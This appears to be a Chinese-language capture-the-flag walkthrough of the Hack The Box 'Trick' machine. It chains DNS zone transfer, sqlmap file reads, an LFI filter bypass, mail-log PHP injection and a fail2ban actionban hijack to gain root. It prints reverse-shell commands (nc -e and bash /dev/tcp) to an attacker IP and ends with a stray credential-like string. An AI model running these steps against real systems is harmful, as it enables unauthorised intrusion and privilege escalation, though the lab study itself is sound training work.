HTB Tirck
说明
Trick 是一款 Easy Linux 机器,具有 DNS 服务器和多个 vHost,所有这些都需要各种步骤才能获得立足点。它需要 DNS 的基本知识才能获得域名,然后获得可用于访问第一个 vHost 的子域。在第一个 vHost 上,我们看到了一个容易受到 SQL 注入攻击的工资管理系统。使用 sqlmap 我们发现我们有文件权限并且可以读取系统文件。读取 Nginx 配置文件会显示另一个 vHost。此 vHost 包含一个可被利用的本地文件包含 (LFI) 漏洞。向其中一个嵌入了 PHP 代码的用户发送邮件,然后将该邮件包含在 LFI 中,可以实现远程代码执行 (RCE)。在最初的立足点之后,我们发现了一个无需密码即可执行的 Sudo 命令。该命令重新启动 fail2ban 服务。 fail2ban 的配置目录包含一个由当前用户所属的组拥有的目录。用户对该目录具有写入权限,并且可以重命名配置文件并将其替换为自己的配置文件,这会导致一旦触发禁令,就会以 root 身份远程执行代码。
所需技能
基本 DNS 知识 枚举
学习技能
[[DNS区域传送(DNS Zone Transfer) | DNS区域传送]] 使用 SQL 注入读取系统文件 文件权限配置错误的利用
Enumeration
Nmap
让我们从使用 Nmap 扫描开放端口开始。
$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p$ports -sC -sV 10.10.11.166
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap 扫描显示端口 22 (SSH)、25 (SMTP)、53 (ISC) 和 80 (Nginx) 已打开。
Nginx
让我们用浏览器导航到 80 端口来看看这个网站。 ![[Pasted image 20221103201300.png]] 端口 80 包含一个当前正在构建的页面,并声明“该网站即将推出”。没有其他感兴趣的东西可以立即找到。让我们继续枚举端口 53 上的 DNS 服务器。
DNS
DNS 是将 google.com 等域名转换为 IP 地址的工具,但是,DNS 也可用于查找属于 IP 地址的域名。使用 dig 我们可以执行反向查找并尝试从 DNS 服务器获取域名。
$ dig @10.10.11.166 -x 10.10.11.166
; <<>> DiG 9.16.27-Debian <<>> @10.129.227.180 -x 10.129.227.180
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2278
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 336fe724da57c90cd0764ae36363bc255dab9c805370b42b (good)
;; QUESTION SECTION:
;180.227.129.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
180.227.129.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
;; Query time: 6 msec
;; SERVER: 10.129.227.180#53(10.129.227.180)
;; WHEN: Thu Nov 03 13:03:30 GMT 2022
;; MSG SIZE rcvd: 165
dig 的输出显示域 trick.htb 。让我们将它添加到我们的主机文件中
$ echo $target 'trick.htb' | sudo tee -a /etc/hosts
导航到 http://trick.htb 似乎给了我们和以前一样的页面。我们可以尝试发起一个区域转移,并尝试获取与 trick.htb 关联的其他域名。
DNS 分为许多不同的区域,区域是域名空间的一部分,由 DNS 服务器托管和服务。例如,example.com 和它可能拥有的所有子域(例如 subdomain.example.com )都是一个区域。区域传输是复制整个区域的请求
$ dig @$target axfr trick.htb
; <<>> DiG 9.16.27-Debian <<>> @10.129.227.180 axfr trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 6 msec
;; SERVER: 10.129.227.180#53(10.129.227.180)
;; WHEN: Thu Nov 03 13:07:47 GMT 2022
;; XFR size: 6 records (messages 1, bytes 231)
输出显示一个名为 preprod-payroll.trick.htb
的新域名。让我们也将它添加到我们的主机文件中,并在我们的浏览器中访问新主机。
![[Pasted image 20221103211235.png]]
主机名返回一个具有登录面板的新网站。
Payroll system
查看 HTML 源代码,我们看到页面的标题是 Employee's Payroll Management System 。
![[Pasted image 20221103211510.png]] 使用关键字员工工资管理系统漏洞进行快速谷歌搜索表明该特定软件易受 SQL 注入攻击。在链接中,我们看到漏洞存在于登录页面中,特别是在用户名参数中。
让我们启动 sqlmap 来尝试利用这个漏洞。
$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login -- data="username=abc&password=abc" -p username --batch
sqlmap 输出显示该页面确实容易受到基于时间的 SQL 注入的攻击,但是,由于漏洞的时间限制性质,数据的提取将非常缓慢。让我们看看是否还有其他有效的注入技术。为此,我们将使用 sqlmap 中的 technique
flag 来指示它使用特定技术。 sqlmap有以下可以设置的技巧:
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
鉴于我们不想要任何慢查询,我们将删除 T 和 Q,而是使用 BEUS 作为我们的潜在技术。此外,我们希望提高测试的水平和风险,以确保正确识别任何技术。
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --level 5 --risk 3 --technique=BEUS --batch
![[Pasted image 20221104113558.png]]
输出显示该页面也容易受到基于布尔和基于错误的注入查询的攻击,这与基于时间的查询相比要快得多。
接下来,我们来列举一下数据库用户拥有的权限。
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --privileges
![[Pasted image 20221104113659.png]]
从输出中我们可以看到数据库用户已被授予 FILE 权限,这意味着我们可以潜在地读取系统文件。让我们从阅读 /etc/passwd
开始。
$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login -- data="username=abc&password=abc" -p username --batch --file-read=/etc/passwd
![[Pasted image 20221104113747.png]]
输出显示文件已保存在 /home/kali/.local/share/sqlmap/output/preprodpayroll.trick.htb/files/_etc_passwd
让我们读一读。
cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
![[Pasted image 20221104113857.png]]
passwd 文件显示远程系统上存在名为 Michael
的用户。假设有一个 vHost ( preprod-payroll.trick.htb
),我们可以尝试读取 Web 服务器的 vHost 配置
$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login -- data="username=abc&password=abc" -p username --batch --file-read=/etc/nginx/sitesenabled/default
![[Pasted image 20221104114010.png]]
运行前面的命令后,我们看到文件已保存在本地,我们可以继续读取它,如前所示。
$ cat /home/kali/.local/share/sqlmap/output/preprodpayroll.trick.htb/files/_etc_nginx_sites-enabled_default
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / { try_files $uri $uri/ =404; } location ~ \.php$ { include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock; } } server { listen 80; listen [::]:80; server_name preprod-payroll.trick.htb;
root /var/www/payroll; index index.php;
location / { try_files $uri $uri/ =404; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.3-fpm.sock; } }
在配置文件中,我们看到一个名为 preprod-marketing.trick.htb
的新 vHost。让我们也将它添加到我们的主机文件中。
$ echo '10.10.11.166 preprod-marketing.trick.htb' | sudo tee -a /etc/hosts
Marketing
将新域添加到我们的主机文件后,我们可以访问该网站 ![[Pasted image 20221104114406.png]]
该页面包含指向其他页面的各种链接。单击服务按钮将我们带到一个新页面,值得注意的是,此页面中的 URL 更改为 http://preprod-marketing.trick.htb/index.php?页面=服务.html。单击关于将我们再次带到一个新页面。它还将 URL 更改为 http://preprod-marketing.trick.htb/index.php?page=about.html 。这可能意味着该网站使用 PHP include() 函数来显示不同的页面。
考虑以下 PHP 代码。
<?php
// Do something if no page is requested
page = $_GET['page']; // Get the page parameter
include("/var/www/market/".page); // This includes the page that is requested
?>
如果代码与上述类似,则可能容易受到本地文件包含的影响。由于我们知道基于 Nginx vHost 配置的站点位于 /var/www/market
中,因此我们必须上 3 个目录来尝试读取 /etc/passwd
,但是,如果我们尝试使用 ../
页面是空白的。对此的解释可能是有一个过滤器来防止目录遍历,其中 ../
只是从输入中删除。我们可以通过访问 URL http://preprod-marketing.trick.htb/index.php?page=../about.html
来测试它。
这样做后,我们会看到通常的 about 页面,即使该页面应该是空的,因为请求的文件不存在。我们可以通过将页面参数从 ../about.html
更改为 about.html../
来再次检查。再一次,我们得到了关于页面。这可能意味着 ../
从 URL 中过滤掉了。
鉴于此信息,我们可以推测代码看起来与此类似。
<?php
//Do something if no page is requested
page = $_GET['page']; //Get the page parameter
include("/var/www/market/" . str_replace("../", "", $page)); // remove any ../ from the
parameter and include the page
?>
有一种可能的方法可以使用 ....//
绕过此过滤器。这将删除 ../
中的一个,而另一个仍然存在。让我们去 http://preprod-marketing.trick.htb/index.php
试试吧?页面=....//....//....//....//....//etc/passwd
![[Pasted image 20221104114851.png]]
该页面显示 /etc/passwd
文件,这意味着我们的有效负载工作。
Exploitation
Foothold
在这一点上,这似乎是一个死胡同,因为我们还没有找到一种将 PHP 代码发送到文件的方法。回顾我们最初的 Nmap,我们可以看到端口 25 上有一个 SMTP 服务器。Linux 有一个目录 /var/mail/
供用户接收消息。如果我们可以向 michael
发送带有 PHP 代码的邮件,它将出现在 /var/mail/michael
中。为了连接和发送我们的恶意邮件,我们将使用 netcat
。
$ nc trick.htb 25
![[Pasted image 20221104115052.png]]
在上面使用的命令中,我们向侦听端口 25 的邮件服务器发送一封电子邮件。 helo x
是一个打开 /"greet" 到服务器的命令,mail from:
为服务器提供发件人的名称,而 rcpt to:
给出收件人的姓名。 data
通知服务器以下数据将是邮件的主要消息,服务器以 <CR><LF>.<CR><LF>
结束数据,这是一个 .
在两条新线之间。我们将我们的 PHP shell 作为数据并以一个点结束。
让我们在端口 1337
上启动一个 netcat
侦听器。
$ nc -lvnp 1337
启动监听器后,我们尝试使用本地文件包含漏洞在系统上执行反向 shell,方法是访问 URL http://preprod-marketing.trick.htb/index.php?page=..//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.14.29% 201337%20-e%20/bin/sh
。
使用之前的 URL,网站将读取包含我们恶意 PHP 代码的文件 /var/mail/michael
并将其包含在它自己的源代码中。该代码将获取 cmd
参数并将其作为系统命令执行。参数设置为 nc%2010.10.14.29%201337%20-e%20/bin/sh
,即 nc 10.10.14.29 1337 -e /bin/sh
不带 URL 编码。访问 URL 会向我们的 netcat
侦听器发送一个反向 shell。
![[Pasted image 20221104115932.png]]
在初步站稳脚跟后,我们很快在 michael 的主目录中找到了一个 SSH 密钥,我们可以使用它来更轻松地访问系统。我们将它复制到我们的系统,并使用 chmod
更改文件的权限。
chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb
我们还注意到用户 michael 所在的 security
组
Privilege Escalation
登录后,让我们检查允许我们运行的 sudo
命令
$ sudo -l
![[Pasted image 20221104120202.png]]
输出显示我们可以以 root
用户身份重新启动 fail2ban
服务。让我们检查一下 fail2ban 的配置,看看我们是否能找到感兴趣的东西。
$ cd /etc/fail2ban
$ ls -la
![[Pasted image 20221104120304.png]]
我们看到目录 action.d
归我们所属的组 security
所有。权限也设置为 rwxrwx---
,这意味着 security
组对该文件夹具有读取、写入和执行权限。进入 action.d
目录,我们看一下里面的文件。
$ ls -l
![[Pasted image 20221104120407.png]]
我们正在寻找的文件是 iptables-multiport.conf
,特别是一行。我们正在寻找包含在用户被禁止时正在运行的命令的 actionban
。
$ cat iptables-multiport.conf
![[Pasted image 20221104120537.png]]
前面提到的变量就是我们想要改变的。但是,我们没有对该文件的写访问权,它也不属于我们可以访问的任何东西。然而,该目录归 security
所有,这意味着我们可以移动文件并替换它们。
mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
ls -l iptables-multiport.conf
![[Pasted image 20221104120635.png]]
如输出所示,我们现在可以完全控制 iptables-multiport.conf
。我们编辑配置文件并将 actionban
变量更改为 actionban = /tmp/shell.sh
。之后我们在 /tmp/shell.sh
创建一个文件,内容如下。
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.29/1337 0>&1
我们还使用 chmod
使其可执行。
chmod +x /tmp/shell.sh
Finally, let's try restarting fail2ban using sudo.
$ sudo /etc/init.d/fail2ban restart
![[Pasted image 20221104120914.png]]
剩下的就是启动一个 netcat
监听器并触发 ban
命令。让我们首先启动我们的 netcat
监听器。
$ nc -lvnp 1337
接下来,让我们尝试使用错误的凭据登录来触发禁令。我们可以简单地使用 SSH 并按回车几次。
$ ssh michael@trick.htb
不久之后,我们在 netcat
侦听器上收到了一个反向 shell。
![[Pasted image 20221104121119.png]]
Adinistrator SuperGucciRainbowCake